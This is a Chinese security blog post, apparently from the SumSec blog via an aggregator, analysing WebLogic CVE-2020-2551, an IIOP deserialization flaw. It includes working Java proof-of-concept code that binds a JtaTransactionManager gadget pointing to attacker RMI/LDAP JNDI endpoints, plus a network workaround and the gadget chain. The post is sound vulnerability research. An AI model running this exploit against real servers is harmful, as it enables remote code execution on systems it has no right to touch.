惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
Docker
爱范儿
爱范儿
人人都是产品经理
人人都是产品经理
博客园 - 司徒正美
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
量子位
罗磊的独立博客
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
小众软件
小众软件
C
Cybersecurity and Infrastructure Security Agency CISA
Cyberwarzone
Cyberwarzone
大猫的无限游戏
大猫的无限游戏
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
雷峰网
雷峰网
Simon Willison's Weblog
Simon Willison's Weblog
The Cloudflare Blog
博客园 - 三生石上(FineUI控件)
D
Darknet – Hacking Tools, Hacker News & Cyber Security
C
Cyber Attacks, Cyber Crime and Cyber Security
博客园_首页
博客园 - 叶小钗
V
Vulnerabilities – Threatpost
T
The Exploit Database - CXSecurity.com
T
Tailwind CSS Blog
IT之家
IT之家
博客园 - 聂微东
Spread Privacy
Spread Privacy
V2EX - 技术
V2EX - 技术
S
Security Affairs
宝玉的分享
宝玉的分享
V
V2EX
C
Cisco Blogs
博客园 - Franky
美团技术团队
酷 壳 – CoolShell
酷 壳 – CoolShell
月光博客
月光博客
S
Securelist
J
Java Code Geeks
Webroot Blog
Webroot Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
P
Proofpoint News Feed
Last Week in AI
Last Week in AI
L
LINUX DO - 热门话题
NISL@THU
NISL@THU
WordPress大学
WordPress大学
W
WeLiveSecurity
T
Threatpost
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
腾讯CDC
阮一峰的网络日志
阮一峰的网络日志

SumSec's Blog

谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
前言 · SUMSEC
2023-01-09 · via SumSec's Blog

前言

   2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。 ps:漏洞学习环境以代码均在上传Github项目


TIPS


IIOP前世今生

   IIOP(Internet Inter-ORB Protocol)Internet对象请求代理间协议,是针对Internet的标准协议,Java中使得程序可以和其他语言的CORBA(普通对象请求协议架构)实现实现互操作性的协议。它规定了GIOP消息通过TCP/IP连接进行交换的规范,适用所有基于TCP/IP的ORB(对象请求代理)产品。IIOP把GIOP消息数据映射为TCP/IP连接行为和输入/输出流进行读/写。IIOP使得Internet本身即可用作骨干ORB,其他ORB可借此进行连接。      GIOP全称(General Inter-ORB Protocol)通用对象请求协议,规定了标准的传输语法及一组ORB间通信消息格式,其设计直接基于任何面向连接的协议,因此可以与下层协议动态绑定。其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,名为IIOP。所以说通过TCP协议传输的GIOP数据可以称为IIOP。    这里只做简单说明,更多详情,可以参考Internet Inter-ORB Protocol


“万金油”之7001端口

   Weblogic的端口之所以说他是一个“万金油”端口,是因为发送什么协议的请求,它就会响应什么协议。比例说,T3协议、HTTP协议、IIOP协议都可以响应对应的请求,可以说是具有咱们中国的万金油的特性。

在这里插入图片描述


漏洞分析

   前文提到了漏洞复现的几个坑,但如果使用手把手教你解决Weblogic CVE-2020-2551 POC网络问题文中方法解决网络问题,那每一次目标都得修改一次ip和端口。作为一名懒人,这种方法很显然不适合我。在寻找通用的方法路上,偶然寻得一种方式,具体在哪找到不记得了,应该是翻GitHub找到的。


浅析Payload


对比分析Payload

   首先我们看看网上流传最广泛的payload,对于网络问题没有做任何处理,网上流传的方法就是修改IOPProfile.class327和328行的ip和端口。

public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
        Context context = new InitialContext(env);
    
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);
    }

图片来源手把手教你解决Weblogic CVE-2020-2551 POC网络问题 在这里插入图片描述


   下面是无意之中发现的一个点,对比发现多了两行代码。

        IOPProfile.IP = "192.168.116.146";
        IOPProfile.PORT = 7001;

   查看IOPProfile.class源码发现,添加了IPPORT两个变量,在327和328行处修改了代码逻辑。其实这里有一个小知识点,Java运行编译会优先加载本地,然后在加载依赖,这里的本质是复写。

        this.host = IP;
        this.port = PORT;

   public static void main(String[] args) throws Exception {
        IOPProfile.IP = "192.168.116.146";
        IOPProfile.PORT = 7001;

        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        // 修改对应的iiop主机ip端口
        env.put("java.naming.provider.url", "iiop://192.168.116.146:7001"); // 127.0.0.1 = 2130706433
=
        Context context = new InitialContext(env);

        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("ldap://192.168.116.1:1389/Weblogicpoc");
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);

        context.rebind("hello", remote);

    }

在这里插入图片描述

在这里插入图片描述


调试分析


流程

请求GIOP NameServer地址

0000 00 0c 29 a8 be 93 00 50 56 c0 00 08 08 00 45 00 ..)….PV…..E. 0010 00 4b 02 2c 40 00 40 06 ce 9c c0 a8 74 01 c0 a8 .K.,@.@…..t… 0020 74 92 e5 42 1b 59 94 ac fd 63 b9 3e a4 58 50 18 t..B.Y…c.>.XP. 0030 10 0a 5d ae 00 00 47 49 4f 50 01 02 00 03 00 00 ..]…GIOP…… // GIOP 标志 47 49 4f 50 0040 00 17 00 00 00 02 00 00 00 00 00 00 00 0b 4e 61 …………..Na 0050 6d 65 53 65 72 76 69 63 65 meService

在这里插入图片描述

Weblogic回应请求

在这里插入图片描述

GIOP...................3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0......................0.0.0.0..Y.....x.BEA........AdminServer........3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0......8.......BEA,............^`.:.E.>...........,....... ....... .......................	...........6........http://0.0.0.0:7001/bea_wls_internal/classes/...... ...........!...X...............".....@........g...............g.........weblogicDEFAULT.................BEA.............server-affinity.........weblogic.cosnaming.NameService.........3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0.............t........0.0.0.0..Y.....x.BEA........AdminServer........3IDL:weblogic/corba/cos/naming/NamingContextAny:1.0......8.......BEA,............^`.:.E.>...........,....... ....... .......................	...........6........http://0.0.0.0:7001/bea_wls_internal/classes/...... ...........!...X...............".....@........g...............g.........weblogicDEFAULT..........................E.>

绑定恶意对象

   在得到地址后会请求重新判断Context。 在这里插入图片描述


请求恶意Payload执行命令

在这里插入图片描述


解析流程


断点设置

   断点设置在weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch,这里有一个tip。Weblogic的版本不同,设置断点的位置也不同。12.2.1.3之前设置在lib.wlfullclient.jar.weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch;12.2.1.3之后设置lib.com.oracle.weblogic.iiop.jar!weblogic.iiop.ConnectionManager#dispatch

在这里插入图片描述


   Webogic10不能看到GIOP地址请求包会直接忽视,目前我不知道原因,有知道可以说一下。估计是 Webogic10没有使用com.oracle.weblogic.iiop.jar包导致的,里面的ConnectionManager类处理逻辑不一样。这不是重点,暂不深究。 在这里插入图片描述

在这里插入图片描述


   断点设置在此,所有IIOP协议(Weblogic10除外)请求信息可以在此看到。

在这里插入图片描述


   跳过IIOP解析流程,直接到IIOP协议反序列化部分。(前面实在是晦涩难懂)通过IIOPInputStream#read_value直接进入反序列化数据处理实现类ValueHandlerImpl#readValue

在这里插入图片描述


   这里经过判断,数据获取等一系列过程(没看懂)。进入JtaTransactionManager#readObject()

在这里插入图片描述


   readObject方法调用初始化this.initUserTransactionAndTransactionManager()    判断userTransaction是否为空,等于空就调用lookupUserTransaction获取userTransaction。 在这里插入图片描述    返回时调用lookup方法。

在这里插入图片描述    JndiTemplate#lookup参数可控导致反序列化漏洞。 在这里插入图片描述


   至此回看payload,知道JtaTransactionManager类的作用但并没有发现rebind的操作。回头在分析一下如何执行rebind方法。 在这里插入图片描述

   首先执行InitialContext#rebind在这里插入图片描述    跳转到ContextImpl#rebind进行绑定和StringToName的类型转化在这里插入图片描述    在然后到ContextImpl#rebind方法–>var5.rebind_any 在这里插入图片描述    再到_NamingContextAnyStub#rebind_any通过_invoke发送内容,然后返回ContextImpl抛出异常信息。 在这里插入图片描述

在这里插入图片描述


总结

Gadget chain

/**
 *      Context.rebind()
 *          InitialContext.rebind()
 *              ContextImpl.rebind()
 *                  _NamingContextAnyStub.rebind_any()
 *                      ............
 *                          IIOPInputStream.read_value()
 *                              ValueHandlerImpl.readValue()
 *                                  ValueHandlerImpl.readValueData()
 *                                      JtaTransactionManager.readObject()
 *                                          JtaTransactionManager.initUserTransactionAndTransactionManager()
 *                                              JtaTransactionManager.lookupUserTransaction()
 *                                                  JndiTemplate.lookup()
 */

小结

  1. 一个简单复写,达到了意想不到的效果。
  2. payload使用的是com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager,这是Spring framework 反序列化的漏洞其中之一。
  3. 参数可控触发反序列化漏洞
  4. 2551是第一个IIOP协议的反序列化漏洞,影响很大、范围很广。

参考

https://www.anquanke.com/post/id/197605 https://xz.aliyun.com/t/7374#toc-20 https://xz.aliyun.com/t/7498